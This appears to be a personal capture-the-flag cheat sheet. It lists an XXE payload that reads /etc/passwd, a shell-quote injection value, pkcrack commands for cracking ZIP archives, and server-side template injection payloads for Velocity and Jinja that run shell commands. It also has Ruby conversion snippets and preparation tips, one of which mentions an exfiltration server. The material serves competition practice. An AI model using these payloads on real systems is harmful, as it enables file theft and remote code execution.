CTF

- XML injection
- CMD injection
- ZIP cracking
- SSTI - Server Side Template Injections
- IRB
- CTF Preparation

XML injection

XXE

- XML External Entity

```
<?xml version="1.0"?>
<!DOCTYPE root [<!ENTITY test SYSTEM 'file:///etc/passwd'>]>
<root>&test;</root>
```

CMD injection

Shell single quote

For

```
date '$FORMAT'
```

FORMAT

```
'; cat /flag'
```

Gives

```
date ''; cat /flag''
```

ZIP cracking

Known plaintext (file)

- https://github.com/keyunluo/pkcrack

Need one exact file in plaintext from the encrypted archive. The ZIP archive encrypts each file individually but using same key, so one can list contents and file sizes before and after compression.

```
pkcrack -C web_labyrinth_linguist.zip -c
challenge/src/main/resources/static/font/Ancient_G_Written.ttf -P web_labyrinth_linguist-
plain.zip -p challenge/src/main/resources/static/font/Ancient_G_Written.ttf -d
web_labyrinth_linguist-decrypt.zip -a
```

Make sure that encrypted and plaintext ZIP archive file size after compression is the same (same compression settings).

```
zip -9 -r web_labyrinth_linguist-plain.zip challenge
unzip -lvv web_labyrinth_linguist-plain.zip | grep Ancient
unzip -lv web_labyrinth_linguist.zip | grep Ancient
```

SSTI - Server Side Template Injections

Server Side Template Injections

- Template injections examples

Java - Velocity

- Runs command
- Gets `String([binary], encoding)` constructor (we can't call `new` in context of template)
- Calls constructor to convert binary array of command output to UTF-8 string for printing

```
----
#set($name="bar")
#set($p=$name.getClass().forName("java.lang.Runtime").getRuntime().exec("cat /flag.txt"))
$p.waitFor()
$p.toString()
#set($sc=$name.getClass().getConstructor($name.getClass().forName("[B"), $name.getClass()))
#set($b=$sc.newInstance($p.inputStream.readAllBytes(), "UTF-8"))
===
$b.toString()
===
3
----
```

Python - Flask Jinja

Using request object for shell

```
{{ request.application.__globals__.__builtins__.__import__('os').popen('cat
/app/flag.txt').read() | safe }}
```

Query databse

Assuming `User` DB object is passed to context:

```
{{ User.query.filter_by(username="admin").first().email }}
```

IRB

Chunk

```
s.scan(/...../)
```

Binary to integer

```
s.to_i(2)
```

Integer to ASCII character

```
123.chr
```

Hex to integer

```
"7D".to_i(16)
```

Integer to hex

```
125.to_s(16)
```

CTF Preparation

1. Prepare your own hot-spot or VPN: local Wi-Fi may interfere or block manipulated requests.
2. Set up a public web server with valid TLS for use in CTF challenges like XSS or data exfiltration; ideally with access to request log.
3. Prepare PWN scripts that can use `netcat` or run local processes and debuggers and send payloads in response to input data.
4. Prepare tools for:
   - Image forensics
   - Data conversion like Base64, HEX etc; e.g. CyberChef.
   - Extracting data from files; like cutting or replacing headers etc.
   - cURL script for sending encoded query strings or posting forms
5. Check latest exploitation methods blogs and collect tools from them.
6. Water bottle with electrolytes, coffee, sugar bars.